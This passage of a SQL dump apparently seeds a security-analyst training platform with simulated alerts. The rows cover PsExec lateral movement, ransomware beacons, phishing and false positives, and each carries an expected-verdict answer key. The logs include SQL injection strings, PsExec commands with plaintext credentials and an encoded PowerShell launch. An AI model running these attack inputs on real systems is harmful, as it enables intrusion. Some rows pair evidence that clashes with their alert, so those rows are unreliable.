1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.328Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:20:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"web-server\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(679, 'Unauthorized Access Attempt via PSExec', 'critical', 'EDR', 'Detected unauthorized use of PSExec for lateral movement within the network, indicating a potential compromise of administrative credentials.', 'Lateral Movement', 'T1569', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.20.15\",\"dst_ip\":\"192.168.20.20\",\"username\":\"administrator\",\"hostname\":\"server-01\",\"command_line\":\"psexec \\\\\\\\192.168.20.20 -u administrator -p secret cmd.exe\"}', '2026-01-10 04:57:21', '2026-02-16 18:05:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.20.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of unauthorized PSExec execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.20.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP targeted for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.20.20 -u administrator -p secret cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec command used for unauthorized access\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec with administrative credentials suggests lateral movement within the network.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(680, 'Innocuous User Activity Mistaken for Attack', 'low', 'SIEM', 'A legitimate user activity was flagged as suspicious due to unusual but authorized access patterns.', 'Credential Attack', 'T1078', 0, 'Closed', 210, '{\"timestamp\":\"2026-01-11T15:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.30.5\",\"dst_ip\":\"192.168.30.10\",\"username\":\"jane.doe\",\"hostname\":\"desktop-01\",\"request_body\":\"\"}', '2026-01-09 22:30:49', '2026-02-26 22:00:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.30.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Management System\",\"verdict\":\"clean\",\"details\":\"Authorized user with legitimate access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was flagged due to unusual login patterns but was found to be legitimate upon review.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(681, 'Phishing Email Detected with Clean URL', 'medium', 'Email Gateway', 'A phishing email was detected; however, the URL was verified as clean after further analysis.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-11T09:40:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.10\",\"dst_ip\":\"192.168.5.10\",\"username\":\"mjohnson\",\"hostname\":\"mail-server\",\"email_sender\":\"info@securemail.com\",\"url\":\"http://legitimate-site.com\"}', '2026-01-10 17:07:54', '2026-03-09 23:40:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@securemail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address associated with previous phishing attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://legitimate-site.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL verified as legitimate\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was initially flagged due to the sender\'s history, but the URL was found to be legitimate.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected with Clean URL\",\"date\":\"2026-02-01T20:32:22.331Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(682, 'DNS Query to Benign Domain Mistaken for DGA', 'low', 'Firewall', 'A DNS query was flagged for potential DGA activity, but the domain was verified as part of legitimate testing activity.', 'Malware', 'T1568', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.40.5\",\"dst_ip\":\"192.168.40.5\",\"username\":\"qauser\",\"hostname\":\"test-machine\",\"domain\":\"test-domain-1234.com\"}', '2026-01-11 07:40:24', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"test-domain-1234.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Domain used for internal testing purposes\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.40.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP address of a test machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The domain was mistaken for a DGA domain but is used for legitimate testing.\"}', 'Expert', 'MAL', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(683, 'LockBit 3.0 Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike Beacon associated with LockBit 3.0 ransomware was detected communicating with a known malicious IP. Indicators show initial access was achieved via compromised RDP credentials.', 'Malware', 'T1071', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"file_hash\":\"3c8a3f7d8f9f4b3a4e8d7c9b5e9f2d1f\"}', '2026-01-10 04:57:56', '2026-02-16 18:05:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities associated with ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3c8a3f7d8f9f4b3a4e8d7c9b5e9f2d1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a Cobalt Strike payload\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Cobalt Strike beacon activity detected from internal server communicating with known ransomware-associated IP.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(684, 'Suspicious Email Detected - Potential Phishing', 'high', 'Proofpoint', 'An email purporting to be from a trusted source contained a link to a known phishing domain. The email was flagged due to domain spoofing and suspicious attachments.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.25\",\"username\":\"asanchez\",\"hostname\":\"USER-LAPTOP02\",\"email_sender\":\"no-reply@trustedsource.com\",\"url\":\"http://phishing-link.example.com\"}', '2026-01-10 12:47:27', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@trustedsource.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain does not match known trusted sources\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain targeting financial credentials\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for sending phishing emails\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Email contained a link to a known phishing domain and originated from a suspicious IP.\"}', 'Expert', 'NDR', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected - Potential Phishing\",\"date\":\"2026-02-01T20:32:22.333Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(685, 'False Positive: Unusual Network Scanning Activity', 'medium', 'Wazuh', 'A network scanning tool was detected running on an internal server. Analysis revealed it was part of a scheduled vulnerability assessment.', 'Network Activity', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:15:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SCAN01\",\"command_line\":\"nmap -sV 10.0.0.50\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 12:38:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"nmap -sV 10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution aligns with scheduled vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of authorized scanner\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of scanned server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The activity corresponds to an authorized vulnerability scan and is not malicious.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(686, 'BlackCat/ALPHV Ransomware Pre-Encryption Reconnaissance Detected', 'critical', 'Splunk', 'Pre-encryption reconnaissance activities linked to the BlackCat/ALPHV ransomware group were detected. Attackers used PsExec for lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:05:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.45\",\"username\":\"administrator\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"PsExec.exe \\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\"}', '2026-01-10 02:32:48', '2026-02-16 18:05:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec usage consistent with lateral movement by ransomware groups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target machine\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec detected being used for lateral movement indicative of ransomware pre-encryption reconnaissance.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
